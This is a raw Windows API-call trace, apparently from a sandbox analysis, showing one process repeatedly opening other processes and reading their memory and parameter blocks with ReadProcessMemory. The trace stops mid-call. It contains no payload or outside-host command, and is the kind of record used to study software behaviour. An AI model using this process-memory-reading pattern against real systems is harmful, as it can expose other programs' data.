_ArgList=0x2dc237c438 | out: _Buffer="3688") returned 4 [0180.316] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0180.316] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0180.329] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe68) returned 0x330 [0180.329] GetLastError () returned 0x0 [0180.330] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0180.330] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x39d018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0180.330] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0180.330] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x591ce0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0180.330] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5918f8, lpBuffer=0x2dc237c1c0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0180.331] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0180.332] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0180.332] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x39d020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0180.332] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5912e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0180.332] malloc (_Size=0x6c) returned 0x20abc2831b0 [0180.332] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x59195c, lpBuffer=0x20abc2831b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0180.333] free (_Block=0x20abc2831b0) [0180.334] CloseHandle (hObject=0x330) returned 1 [0180.334] _ui64tow_s (in: _Value=0xe78, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3704") returned 0x0 [0180.339] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3704") returned 4 [0180.340] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0180.340] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0180.368] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe78) returned 0x330 [0180.368] GetLastError () returned 0x0 [0180.368] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0180.368] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x322018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0180.368] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0180.369] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4d1ce0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0180.369] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4d18f8, lpBuffer=0x2dc237c1c0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0180.370] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0180.371] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0180.371] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x322020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0180.371] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4d12e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0180.371] malloc (_Size=0x70) returned 0x20abc2831b0 [0180.371] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4d1960, lpBuffer=0x20abc2831b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0180.372] free (_Block=0x20abc2831b0) [0180.373] CloseHandle (hObject=0x330) returned 1 [0180.373] _ui64tow_s (in: _Value=0xe80, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3712") returned 0x0 [0180.377] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3712") returned 4 [0180.378] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0180.378] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0180.402] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe80) returned 0x330 [0180.402] GetLastError () returned 0x0 [0180.402] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0180.402] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2b1018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0180.402] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0180.402] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x491cb0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0180.403] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4918f8, lpBuffer=0x2dc237c1c0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0180.403] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0180.492] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0180.492] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2b1020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0180.493] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4912e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0180.493] malloc (_Size=0x5e) returned 0x20abc280840 [0180.493] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x49194e, lpBuffer=0x20abc280840, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0180.494] free (_Block=0x20abc280840) [0180.495] CloseHandle (hObject=0x330) returned 1 [0180.496] _ui64tow_s (in: _Value=0xe8c, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3724") returned 0x0 [0180.502] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3724") returned 4 [0180.504] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0180.504] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0180.516] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe8c) returned 0x330 [0180.516] GetLastError () returned 0x0 [0180.517] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0180.517] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4f1018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0180.517] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0180.517] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x901ce0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0180.517] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x9018f8, lpBuffer=0x2dc237c1c0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0180.518] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0180.519] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0180.519] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4f1020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0180.520] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x9012e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0180.520] malloc (_Size=0x70) returned 0x20abc2831b0 [0180.520] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x901960, lpBuffer=0x20abc2831b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0180.521] free (_Block=0x20abc2831b0) [0180.521] CloseHandle (hObject=0x330) returned 1 [0180.522] _ui64tow_s (in: _Value=0xe94, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3732") returned 0x0 [0180.525] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3732") returned 4 [0180.526] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0180.526] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0180.551] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe94) returned 0x330 [0180.551] GetLastError () returned 0x0 [0180.551] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0180.551] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x308018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0180.551] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0180.552] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x521d10, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0180.552] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5218f8, lpBuffer=0x2dc237c1c0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0180.553] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0180.554] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0180.554] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x308020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0180.554] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5212e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0180.554] malloc (_Size=0x80) returned 0x20abc284f30 [0180.554] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x521970, lpBuffer=0x20abc284f30, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f30*, lpNumberOfBytesRead=0x0) returned 1 [0180.555] free (_Block=0x20abc284f30) [0180.555] CloseHandle (hObject=0x330) returned 1 [0180.556] _ui64tow_s (in: _Value=0xeac, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3756") returned 0x0 [0180.559] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3756") returned 4 [0180.561] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0180.561] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0180.574] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xeac) returned 0x330 [0180.574] GetLastError () returned 0x0 [0180.574] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0180.574] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3c1018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0180.574] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0180.575] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x501d30, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0180.575] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5018f8, lpBuffer=0x2dc237c1c0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0180.590] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0180.591] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0180.591] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x3c1020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0180.591] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5012e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0180.591] malloc (_Size=0x8a) returned 0x20abc284f30 [0180.591] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x50197a, lpBuffer=0x20abc284f30, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f30*, lpNumberOfBytesRead=0x0) returned 1 [0180.592] free (_Block=0x20abc284f30) [0180.593] CloseHandle (hObject=0x330) returned 1 [0180.593] _ui64tow_s (in: _Value=0xeb4, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3764") returned 0x0 [0180.597] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3764") returned 4 [0180.597] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0180.597] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0180.610] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xeb4) returned 0x330 [0180.610] GetLastError () returned 0x0 [0180.611] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0180.611] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4bc018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0180.611] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0180.611] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2d1ce0, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0180.611] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2d18f8, lpBuffer=0x2dc237c1c0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0180.612] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0180.613] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0180.613] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x4bc020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0180.613] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2d12e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0180.614] malloc (_Size=0x6c) returned 0x20abc2831b0 [0180.614] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2d195c, lpBuffer=0x20abc2831b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0180.614] free (_Block=0x20abc2831b0) [0180.615] CloseHandle (hObject=0x330) returned 1 [0180.615] _ui64tow_s (in: _Value=0xee0, _Buffer=0x2dc237d390, _BufferCount=0x104, _Radix=10 | out: _Buffer="3808") returned 0x0 [0180.619] _vsnwprintf (in: _Buffer=0x2dc237d0b0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc237c438 | out: _Buffer="3808") returned 4 [0180.620] GetVersionExW (in: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc237c4f0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0180.620] _vsnwprintf (in: _Buffer=0x2dc237cea0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc237c438 | out: _Buffer="10.0.10586") returned 10 [0180.638] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee0) returned 0x330 [0180.638] GetLastError () returned 0x0 [0180.638] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237c490, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c490, ReturnLength=0x0) returned 0x0 [0180.639] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2e8018, lpBuffer=0x2dc237c460, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c460*, lpNumberOfBytesRead=0x0) returned 1 [0180.639] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc237c450, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c450*, lpNumberOfBytesRead=0x0) returned 1 [0180.639] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5a1c70, lpBuffer=0x2dc237c870, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c870*, lpNumberOfBytesRead=0x0) returned 1 [0180.639] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5a18f8, lpBuffer=0x2dc237c1c0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237c1c0*, lpNumberOfBytesRead=0x0) returned 1 [0180.640] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x1, ProcessInformation=0x2dc237c4c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237c4c0, ReturnLength=0x0) returned 0x0 [0180.641] NtQueryInformationProcess (in: ProcessHandle=0x330, ProcessInformationClass=0x0, ProcessInformation=0x2dc237bf98, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc237bf98, ReturnLength=0x0) returned 0x0 [0180.641] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x2e8020, lpBuffer=0x2dc237bf80, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bf80*, lpNumberOfBytesRead=0x0) returned 1 [0180.641] ReadProcessMemory (in: hProcess=0x330, lpBaseAddress=0x5a12e0, lpBuffer=0x2dc237bfd0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc237bfd0*, lpNumberOfBytesRead=0x0) returned 1 [0180.641] malloc (_Size=0x48) 